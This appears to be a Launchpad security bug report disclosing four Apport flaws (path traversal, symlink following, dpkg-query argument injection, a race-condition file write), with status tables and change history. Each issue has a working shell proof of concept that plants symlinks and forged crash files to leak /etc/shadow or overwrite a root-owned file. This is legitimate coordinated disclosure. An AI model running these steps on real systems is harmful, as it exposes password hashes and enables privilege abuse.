Arbitrary file reads
Affects | Status | Importance | Assigned to | Milestone | ||
---|---|---|---|---|---|---|
Apport |
Fix Released
|
Critical
|
Unassigned | |||
apport (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned | |||
Bionic |
Fix Released
|
Undecided
|
Unassigned | |||
Focal |
Fix Released
|
Undecided
|
Unassigned | |||
Groovy |
Fix Released
|
Undecided
|
Unassigned | |||
Hirsute |
Fix Released
|
Undecided
|
Unassigned | |||
Impish |
Fix Released
|
Undecided
|
Unassigned | |||
openjdk-lts (Ubuntu) | ||||||
Bionic |
New
|
Undecided
|
Unassigned | |||
Focal |
New
|
Undecided
|
Unassigned | |||
Groovy |
New
|
Undecided
|
Unassigned | |||
Hirsute |
New
|
Undecided
|
Unassigned | |||
Impish |
New
|
Undecided
|
Unassigned |
Bug Description
# Vulnerabilities in Apport
During a cursory code review, several potential security issues in `apport` and crash-related hooks in packages such as `Xorg` and `openjdk-14-lts` have been identified.
While the issue regarding the `openjdk-14-lts` package is exploitable
on default installations, the remaining issues most likely are mitigated by the sysctl setting `fs.protected_
With regard to issues mitigated by `fs.protected_
## Issue 1: Arbitrary file read in package-
The `add_info()` function allows for a directory traversal by building a file path using user-controlled data without properly sanitizing the resulting path.
```Python
def add_info(report, ui=None):
if report[
# attach hs_err_<pid>.pid file
cwd = report['ProcCwd']
pid_line = re.search(
if pid_line:
pid = pid_line.
path = "%s/hs_
# make sure if exists
if os.path.
# truncate if bigger than 100 KB
# see LP: #1696814
if sys.getsizeof(
```
By injecting a `ProcCwd` such as `/home/user/` and a `Pid` such as `0`, the function includes an arbitrary file by following a potential symbolic link `/home/
### PoC
```
$ sudo apt install openjdk-14-jdk
$ sudo sysctl fs.protected_
fs.protected_
$ ln -s /etc/shadow /home/user/
$ pid=$'\t0';cat << EOF > /var/crash/
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
Pid:$pid
Uid:$pid
EOF
$ grep -A3 root: /var/crash/
root:!
daemon:
bin:*:
sys:*:
```
## Issue 2: Arbitrary file read in package-
The root cause of this issue stems from the fact, that a potentially
user-controlled file in the `/tmp` directory is not checked for being a symbolic link and therefore might allow including arbitrary files in the processed crash report:
Note: Requires `fs.protected_
```Python
def attach_
...
# Compiz internal state if compiz crashed
if True or report.
compiz_pid = 0
pid_line = re.search(
if pid_line:
```
### PoC
```
$ sudo sysctl fs.protected_
fs.protected_
$ ln -s /etc/shadow /tmp/compiz_
$ cat << EOF > /var/crash/
ProblemType: Crash
ExecutablePath: /poc
Package: source_xorg 123
SourcePackage: compiz
ProcStatus:
Pid:
EOF
$ grep -A3 compiz_internal poc.crash
compiz_
root:!
daemon:
bin:*:
```
## Issue 3: Spoof modified config files via argument injection (Info)
The `get_modified_
```Python
def get_modified_
...
dpkg = subprocess.
```
By supplying a `package` name such as
`--showformat=
Please note however that this function is seemingly only called in the `attach_
of the user to finally include the file in the crash report.
### PoC
```
$ dpkg-query -W --showformat=
/etc/shadow 1
shadow 1
```
## Issue 4: Arbitrary file write in whoopsie-upload-all (Info)
After adding additional information to the crash file, `whoopsie-
Note: Requires `fs.protected_
```Python
def process_
'''Collect information for a report and mark for whoopsie upload
...
# write updated report, we use os.open and os.fdopen as
# /proc/sys/
fd = os.open(report, os.O_WRONLY | os.O_APPEND)
with os.fdopen(fd, 'wb') as f:
```
### PoC
```
$ sudo sysctl fs.protected_
fs.protected_
$ cat ex.sh
TARGET="/JRN"
while :; do
FN="/
pid=$'\t0';cat << EOF > $FN
ProblemType: Crash
ExecutablePath: /poc
Package: openjdk-lts 123
SourcePackage: openjdk-lts
ProcCwd: /home/user
ProcStatus:
Pid:$pid
Uid:$pid
EOF
while :; do
if ps aux|grep -q "[w]hoopsie-
done
sleep 0.3
rm -f $FN
ln -s $TARGET $FN
if [ -s /JRN ]; then echo DONE.; break; fi
done
$ sudo touch /JRN; ls -l /JRN # simulating file in e.g. /etc/logrotate.d/
-rw-r--r-- 1 root root 0 M�r 3 14:15 /JRN
$ bash ex.sh
DONE.
$ ls -l /JRN; sudo head -n3 /JRN
-rw-r----- 1 root root 105028 M�r 3 14:16 /JRN
ApportVersion: 2.20.11-
Architecture: amd64
CasperMD5CheckR
```
# Credits
Please credit <email address hidden> (@fktio) if the issues are considered valid. Further, please coordinate the patch release date with us, in case we consider publishing a short article about these issues.
Best regards,
maik
description: | updated |
description: | updated |
description: | updated |
no longer affects: | openjdk-lts (Ubuntu) |
information type: | Private Security → Public Security |
information type: | Public Security → Private Security |
information type: | Private Security → Public Security |
Changed in apport (Ubuntu Bionic): | |
assignee: | nobody → SatoshiNakamoto (evansanita713) |
Changed in apport (Ubuntu Bionic): | |
assignee: | SatoshiNakamoto (evansanita713) → nobody |
Changed in apport (Ubuntu Bionic): | |
assignee: | nobody → SatoshiNakamoto (evansanita713) |
Changed in apport (Ubuntu Focal): | |
assignee: | nobody → SatoshiNakamoto (evansanita713) |
Changed in apport (Ubuntu Groovy): | |
assignee: | nobody → SatoshiNakamoto (evansanita713) |
Changed in apport (Ubuntu Hirsute): | |
assignee: | nobody → SatoshiNakamoto (evansanita713) |
Changed in apport (Ubuntu Impish): | |
assignee: | nobody → SatoshiNakamoto (evansanita713) |
information type: | Public Security → Private Security |
Changed in apport (Ubuntu Bionic): | |
assignee: | SatoshiNakamoto (evansanita713) → nobody |
Changed in apport (Ubuntu Focal): | |
assignee: | SatoshiNakamoto (evansanita713) → nobody |
Changed in apport (Ubuntu Groovy): | |
assignee: | SatoshiNakamoto (evansanita713) → nobody |
Changed in apport (Ubuntu Hirsute): | |
assignee: | SatoshiNakamoto (evansanita713) → nobody |
Changed in apport (Ubuntu Impish): | |
assignee: | SatoshiNakamoto (evansanita713) → nobody |
information type: | Private Security → Public Security |
Changed in apport (Ubuntu Impish): | |
assignee: | nobody → SatoshiNakamoto (evansanita713) |
Changed in apport (Ubuntu Impish): | |
assignee: | SatoshiNakamoto (evansanita713) → nobody |
Changed in apport: | |
importance: | Undecided → Critical |
milestone: | none → 2.21.0 |
status: | New → Fix Released |
With the report being open for 2 months without a response I kindly wanted to ask if the issues will be addressed or are considered out-of-scope?
Best regards,
maik